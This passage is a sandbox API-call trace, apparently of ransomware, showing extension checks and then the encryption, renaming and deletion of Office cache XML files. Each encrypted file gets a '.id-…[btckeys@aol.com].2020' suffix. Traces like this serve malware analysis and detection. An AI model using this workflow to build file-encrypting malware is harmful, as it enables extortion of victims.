[0062.979] lstrlenW (lpString=".rar") returned 4 [0062.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString=".bz2") returned 4 [0062.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.979] lstrlenW (lpString=".7z") returned 3 [0062.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString=".dbf") returned 4 [0062.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString=".1cd") returned 4 [0062.980] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString=".jpg") returned 4 [0062.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString=".doc") returned 4 [0062.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString=".docx") returned 5 [0062.980] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0062.980] lstrlenW (lpString=".pdf") returned 4 [0062.980] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString=".xls") returned 4 [0062.980] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString=".xlsx") returned 5 [0062.980] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0062.980] lstrlenW (lpString=".ppt") returned 4 [0062.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.980] lstrlenW (lpString=".zip") returned 4 [0062.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.980] lstrlenW (lpString=".rar") returned 4 [0062.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.981] lstrlenW (lpString=".bz2") returned 4 [0062.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.981] lstrlenW (lpString=".7z") returned 3 [0062.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.981] lstrlenW (lpString=".dbf") returned 4 [0062.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.981] lstrlenW (lpString=".1cd") returned 4 [0062.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0062.981] lstrlenW (lpString=".jpg") returned 4 [0062.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.981] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.981] lstrlenW (lpString="Proofing.xml") returned 12 [0062.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.982] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=811) returned 1 [0062.982] CloseHandle (hObject=0x180) returned 1 [0062.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0062.982] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0062.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.982] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0062.982] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0062.983] GetLastError () returned 0x0 [0062.983] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x32b, lpOverlapped=0x0) returned 1 [0063.395] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x330, lpOverlapped=0x0) returned 1 [0063.398] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0063.398] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0063.398] SetEndOfFile (hFile=0x18c) returned 1 [0063.399] CloseHandle (hObject=0x18c) returned 1 [0063.402] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0063.402] SetEndOfFile (hFile=0x180) returned 1 [0063.403] CloseHandle (hObject=0x180) returned 1 [0063.403] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.404] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0063.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.405] lstrlenW (lpString=".doc") returned 4 [0063.405] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.405] lstrlenW (lpString=".docx") returned 5 [0063.405] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0063.405] lstrlenW (lpString=".pdf") returned 4 [0063.405] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.405] lstrlenW (lpString=".xls") returned 4 [0063.405] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.405] lstrlenW (lpString=".xlsx") returned 5 [0063.405] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0063.405] lstrlenW (lpString=".ppt") returned 4 [0063.405] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString=".zip") returned 4 [0063.406] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.406] lstrlenW (lpString=".rar") returned 4 [0063.406] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString=".bz2") returned 4 [0063.406] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString=".7z") returned 3 [0063.406] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString=".dbf") returned 4 [0063.406] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString=".1cd") returned 4 [0063.406] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString=".jpg") returned 4 [0063.406] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.406] lstrlenW (lpString=".doc") returned 4 [0063.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString=".docx") returned 5 [0063.406] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0063.406] lstrlenW (lpString=".pdf") returned 4 [0063.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.406] lstrlenW (lpString=".xls") returned 4 [0063.407] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString=".xlsx") returned 5 [0063.407] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0063.407] lstrlenW (lpString=".ppt") returned 4 [0063.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.407] lstrlenW (lpString=".zip") returned 4 [0063.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.407] lstrlenW (lpString=".rar") returned 4 [0063.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString=".bz2") returned 4 [0063.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString=".7z") returned 3 [0063.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.407] lstrlenW (lpString=".dbf") returned 4 [0063.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.407] lstrlenW (lpString=".1cd") returned 4 [0063.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0063.407] lstrlenW (lpString=".jpg") returned 4 [0063.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.408] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.408] lstrlenW (lpString="Office32MUI.xml") returned 15 [0063.408] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0063.409] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1383) returned 1 [0063.409] CloseHandle (hObject=0x180) returned 1 [0063.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0063.409] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0063.410] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0063.410] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0063.410] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0063.411] GetLastError () returned 0x0 [0063.411] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x567, lpOverlapped=0x0) returned 1 [0063.447] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x570, lpOverlapped=0x0) returned 1 [0063.449] ReadFile (in: hFile=0x180, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0063.449] WriteFile (in: hFile=0x18c, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xf2, lpOverlapped=0x0) returned 1 [0063.449] SetEndOfFile (hFile=0x18c) returned 1 [0063.449] CloseHandle (hObject=0x18c) returned 1 [0063.459] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0063.459] SetEndOfFile (hFile=0x180) returned 1 [0063.459] CloseHandle (hObject=0x180) returned 1 [0063.459] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.460] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0063.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.460] lstrlenW (lpString=".doc") returned 4 [0063.460] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.460] lstrlenW (lpString=".docx") returned 5 [0063.460] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.460] lstrlenW (lpString=".pdf") returned 4 [0063.460] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.460] lstrlenW (lpString=".xls") returned 4 [0063.460] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.460] lstrlenW (lpString=".xlsx") returned 5 [0063.460] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.460] lstrlenW (lpString=".ppt") returned 4 [0063.460] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.460] lstrlenW (lpString=".zip") returned 4 [0063.460] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.461] lstrlenW (lpString=".rar") returned 4 [0063.461] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString=".bz2") returned 4 [0063.461] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString=".7z") returned 3 [0063.461] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.461] lstrlenW (lpString=".dbf") returned 4 [0063.461] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.461] lstrlenW (lpString=".1cd") returned 4 [0063.461] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.461] lstrlenW (lpString=".jpg") returned 4 [0063.461] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.461] lstrlenW (lpString=".doc") returned 4 [0063.461] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString=".docx") returned 5 [0063.461] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0063.461] lstrlenW (lpString=".pdf") returned 4 [0063.461] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString=".xls") returned 4 [0063.461] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.461] lstrlenW (lpString=".xlsx") returned 5 [0063.461] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0063.462] lstrlenW (lpString=".ppt") returned 4 [0063.462] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.462] lstrlenW (lpString=".zip") returned 4 [0063.462] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.462] lstrlenW (lpString=".rar") returned 4 [0063.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.462] lstrlenW (lpString=".bz2") returned 4 [0063.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.462] lstrlenW (lpString=".7z") returned 3 [0063.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.462] lstrlenW (lpString=".dbf") returned 4 [0063.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.462] lstrlenW (lpString=".1cd") returned 4 [0063.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.462] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0063.462] lstrlenW (lpString=".jpg") returned 4 [0063.462] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.462] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.462] lstrlenW (lpString="Setup.xml") returned 9 [0063.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.466] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=6241) returned 1 [0064.466] CloseHandle (hObject=0x16c) returned 1 [0064.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0064.484] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0064.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0064.484] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.484] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.484] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0064.485] GetLastError () returned 0x0 [0064.485] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1861, lpOverlapped=0x0) returned 1 [0064.540] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1870, lpOverlapped=0x0) returned 1 [0064.541] ReadFile (in: hFile=0x16c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0064.541] WriteFile (in: hFile=0x188, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe6, lpOverlapped=0x0) returned 1 [0064.541] SetEndOfFile (hFile=0x188) returned 1 [0064.541] CloseHandle (hObject=0x188) returned 1 [0064.542] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0064.543] SetEndOfFile (hFile=0x16c) returned 1 [0064.544] CloseHandle (hObject=0x16c) returned 1 [0064.544] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0064.544] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0064.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0064.545] lstrlenW (lpString=".doc") returned 4 [0064.545] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString=".docx") returned 5 [0064.545] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0064.545] lstrlenW (lpString=".pdf") returned 4 [0064.545] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString=".xls") returned 4 [0064.545] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString=".xlsx") returned 5 [0064.545] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0064.545] lstrlenW (lpString=".ppt") returned 4 [0064.545] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0064.545] lstrlenW (lpString="C:\\MSOCache\\All 